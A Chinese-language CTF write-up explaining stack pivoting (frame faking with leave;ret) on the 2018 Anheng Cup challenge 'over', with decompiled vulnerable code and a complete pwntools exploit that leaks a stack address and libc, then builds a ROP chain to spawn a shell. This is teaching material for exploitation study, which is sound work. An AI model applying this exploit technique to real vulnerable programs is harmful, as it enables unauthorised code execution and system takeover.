栈溢出基础浅记(5)

Posted by Kody Black on October 12, 2023

frame faking(栈伪造)

——from ctf wiki 花式栈溢出技巧

这个方法其实就是利用leave,ret实现控制EBP,最终实现控制程序执行流。

2018 安恒杯 over

    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(stdout, 0LL, 2, 0LL);
  while ( sub_400676() )
    ;
  return 0LL;
}

int sub_400676()
{
  char buf[80]; // [rsp+0h] [rbp-50h]

  memset(buf, 0, sizeof(buf));
  putchar('>');
  read(0, buf, 96uLL);
  return puts(buf);
}

16971205870941697120586276.png

使用gdb调试可以发现,在sub_400676中,buf大小为80,read最多能读入0x60。栈溢出共16字节,即只有rbp和返回地址。

注意:此时RBP的值即为当前函数返回后的RBP地址,从gdb中可以看到buf的地址+0x70=返回吼的RBP地址。

由于后者可以通过puts函数直接泄露,所以可以通过该地址-0x70泄露得到buf的地址。之后我们就可以通过栈溢出将当前rbp覆盖为buf的地址,返回地址用(leave,ret)覆盖。具体的思路如下图:

1697121209095f80110eb7668327945bd41b8d0fbe02.jpg

实际上共三个payload,第一个 b"a" * 80,通过下面的puts直接泄露出buf地址。

第二个用于得到libc的地址,第三个用于执行execve,这两个payload的栈布局都是按照上面的图片。

exp如下:

#!/usr/bin/env python
# -*- coding: utf-8 -*-

from pwn import *
from LibcSearcher import LibcSearcher

# context.log_level = "debug"
sh = process("./over.over")
file = ELF("./over.over")

sh.sendafter(b">", b"a" * 80)

stack = u64(sh.recvuntil(b"\x7f")[-6:].ljust(8, b"\0")) - 0x70
success("stack -> {:#x}".format(stack))

puts_plt = file.plt["puts"]
puts_got = file.got["puts"]
# ROPgadget --binary ./over.over --only "pop|ret" | grep rdi
# 0x0000000000400793 : pop rdi ; ret
pop_rdi_ret = 0x400793
sub_400676 = 0x400676
# ROPgadget --binary ./over.over --only "leave|ret"
# 0x00000000004006be : leave ; ret
leave_ret = 0x4006BE
payload = (
    b"11111111"
    + p64(pop_rdi_ret)
    + p64(puts_got)
    + p64(puts_plt)
    + p64(sub_400676)
    + (80 - 40) * b"1"
    + p64(stack)
    + p64(leave_ret)
)
sh.sendafter(">", payload)
puts_got_addr = u64(sh.recvuntil(b"\x7f")[-6:].ljust(8, b"\0"))
success("puts_got_addr -> {:#x}".format(puts_got_addr))

libc = LibcSearcher("puts", puts_got_addr)
libc_base = puts_got_addr - libc.dump("puts")
success("libc_base -> {:#x}".format(libc_base))

system_addr = libc_base + libc.dump("system")
binsh_addr = libc_base + libc.dump("str_bin_sh")
# ROPgadget --binary ./over.over --only "pop|ret" | grep rsi
# 0x0000000000400791 : pop rsi ; pop r15 ; ret
pop_rsi_r15_ret = 0x400791
# gdb.attach(sh, "b *0x4006ad\n")
payload = (
    b"22222222"
    + p64(pop_rdi_ret)
    + p64(binsh_addr)
    + p64(pop_rsi_r15_ret)
    + p64(0)
    + p64(0)
    + p64(system_addr)
    + (80 - 7 * 8) * b"2"
    + p64(stack - 0x30)
    + p64(leave_ret)
)
sh.sendafter(">", payload)
sh.interactive()

每次执行payload的时候,buf的位置有可能会不一样,需要用gdb先看看情况

16971233675471697123367211.png

这里看到,第二次payload中的buf位置为f50,需要在原本的基础上-0x30